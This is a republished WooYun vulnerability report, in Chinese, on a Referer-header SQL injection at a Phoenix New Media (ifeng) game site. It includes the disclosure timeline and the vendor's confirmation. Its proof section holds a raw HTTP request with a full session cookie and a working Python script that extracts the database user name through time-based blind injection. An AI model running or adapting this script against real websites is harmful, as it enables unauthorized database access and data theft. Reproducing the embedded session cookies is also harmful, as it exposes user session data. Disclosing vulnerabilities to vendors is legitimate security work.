凤凰网某站HTTP头注入

admin 2017年3月15日20:04:14评论218 views字数 211阅读0分42秒阅读模式
摘要

2016-03-15: 细节已通知厂商并且等待厂商处理中
2016-03-15: 厂商已经确认,细节仅向厂商公开
2016-03-25: 细节向核心白帽子及相关领域专家公开
2016-04-04: 细节向普通白帽子公开
2016-04-14: 细节向实习白帽子公开
2016-04-29: 细节向公众公开

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2016-185014

漏洞标题: 凤凰网某站HTTP头注入

相关厂商: 凤凰网

漏洞作者: null_z

提交时间: 2016-03-15 17:39

公开时间: 2016-04-29 18:00

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php+字符类型注射 Mysql

3人收藏


漏洞详情

披露状态:

2016-03-15: 细节已通知厂商并且等待厂商处理中
2016-03-15: 厂商已经确认,细节仅向厂商公开
2016-03-25: 细节向核心白帽子及相关领域专家公开
2016-04-04: 细节向普通白帽子公开
2016-04-14: 细节向实习白帽子公开
2016-04-29: 细节向公众公开

简要描述:

。。。

详细说明:

注入点referer注入需要登录

code 区域
GET /?_a=pay HTTP/1.1
Host: play.ifeng.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36
Referer: 1*
Cookie: vjuids=-65c454e50.1510b570284.0.9fdbcf48; userid=1447594230528_x9bawe2238; pgv_pvi=8940736512; NTKF_T2D_CLIENTID=guest5565261A-19DC-A397-5ED8-016E1E5948C3; selCityName=%E6%AD%A6%E6%B1%89; py_map=1; 5LYa_6a5d_saltkey=flDW89w5; 5LYa_6a5d_lastvisit=1457946422; 5LYa_6a5d_visitedfid=808; 5LYa_6a5d_sid=NBR5Ex; 5LYa_6a5d_lastact=1457950023%09home.php%09misc; __gads=ID=70e6f36b25d611c7:T=1457952590:S=ALNI_Maz2_pNlyjaXr2nrzsqvW3PYTeeBw; b_his=%5B%7B%22book_name%22%3A%22%E5%B8%82%E5%A7%94%E5%8A%9E%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF%EF%BC%88%E5%85%A8%E6%9C%AC%EF%BC%89%22%2C%22id%22%3A32559%7D%5D; prov=cn027; city=027; weather_city=hb_wh; region_ip=117.151.117.x; region_ver=1.2; _ga=GA1.2.2039280441.1456309217; READ_TAG=n; lzstat_uv=6916112851487372800|1781244; if_mid=XgzOya; PHPSESSID=pq84k1n0it8fsfadv39ufj05k4; IESESSION=alive; pgv_si=s2521994240; tencentSig=171217920; _plst[_plaf_]=1592355004; Hm_lvt_028d35c49fd134f796dd814463da82b4=1456114190,1457949937,1458030432,1458030463; Hm_lpvt_028d35c49fd134f796dd814463da82b4=1458030463; sid=0D330DAB7AFEB501B175A5F175AC2E80Igame_0200837; if_loading_date=20160315; _game_foot_safe=20160315igame_0200837; _game_foot_tjyx=2016031562920; if_loading_num=3; _plst[ifeng][_pllv_]=9; _plst[_plid_]=2910184145; _plst[others][_pllv_]=22; is_game_v=1; ifengRotator_AP1998=0; vjlast=1447594230.1458030366.11
Client-Ip: 127.0.0.1

True

凤凰网某站HTTP头注入

False

凤凰网某站HTTP头注入

漏洞证明:

user前几位

凤凰网某站HTTP头注入

code 区域
#!/usr/bin/env python
#-*-coding:utf-8-*-


import requests
import string
import time


character = string.digits + string.ascii_lowercase + '_.@ '
res = ''
url = 'http://play.ifeng.com/?_a=pay'
cookie = '''vjuids=-65c454e50.1510b570284.0.9fdbcf48; userid=1447594230528_x9bawe2238; pgv_pvi=8940736512; NTKF_T2D_CLIENTID=guest5565261A-19DC-A397-5ED8-016E1E5948C3; selCityName=%E6%AD%A6%E6%B1%89; py_map=1; 5LYa_6a5d_saltkey=flDW89w5; 5LYa_6a5d_lastvisit=1457946422; 5LYa_6a5d_visitedfid=808; 5LYa_6a5d_sid=NBR5Ex; 5LYa_6a5d_lastact=1457950023%09home.php%09misc; __gads=ID=70e6f36b25d611c7:T=1457952590:S=ALNI_Maz2_pNlyjaXr2nrzsqvW3PYTeeBw; b_his=%5B%7B%22book_name%22%3A%22%E5%B8%82%E5%A7%94%E5%8A%9E%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF%EF%BC%88%E5%85%A8%E6%9C%AC%EF%BC%89%22%2C%22id%22%3A32559%7D%5D; prov=cn027; city=027; weather_city=hb_wh; region_ip=117.151.117.x; region_ver=1.2; _ga=GA1.2.2039280441.1456309217; READ_TAG=n; lzstat_uv=6916112851487372800|1781244; if_mid=XgzOya; PHPSESSID=pq84k1n0it8fsfadv39ufj05k4; IESESSION=alive; pgv_si=s2521994240; tencentSig=171217920; _plst[_plaf_]=1592355004; Hm_lvt_028d35c49fd134f796dd814463da82b4=1456114190,1457949937,1458030432,1458030463; Hm_lpvt_028d35c49fd134f796dd814463da82b4=1458030463; sid=0D330DAB7AFEB501B175A5F175AC2E80Igame_0200837; if_loading_date=20160315; _game_foot_safe=20160315igame_0200837; _game_foot_tjyx=2016031562920; if_loading_num=3; ifengRotator_AP1998=0; showjifenpop=1458030743; _plst[others][_pllv_]=25; HOT_TAG=n; IF_REAL=0; vjlast=1447594230.1458030366.11; _plst[_plid_]=2910184145; _plst[ifeng][_pllv_]=12; is_game_v=1'''

for i in range(1, 20):
for p in character:
start_time = time.time()
referer = "'xor(if(now()=sysdate() and mid(user(),{},1)='{}',sleep(1*3),1))xor'1".format(i, p)
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36','Referer': referer, 'Cookie': cookie}
req = requests.get(url, headers=headers, allow_redirects=False)
print referer
if time.time() - start_time > 3:
res = res + p
print "/n" + res + "/n"
break
print "/n/n[Finish]: " + res

修复方案:

。。。

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-03-15 18:00

厂商回复:

非常感谢您对凤凰网信息安全的帮助。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin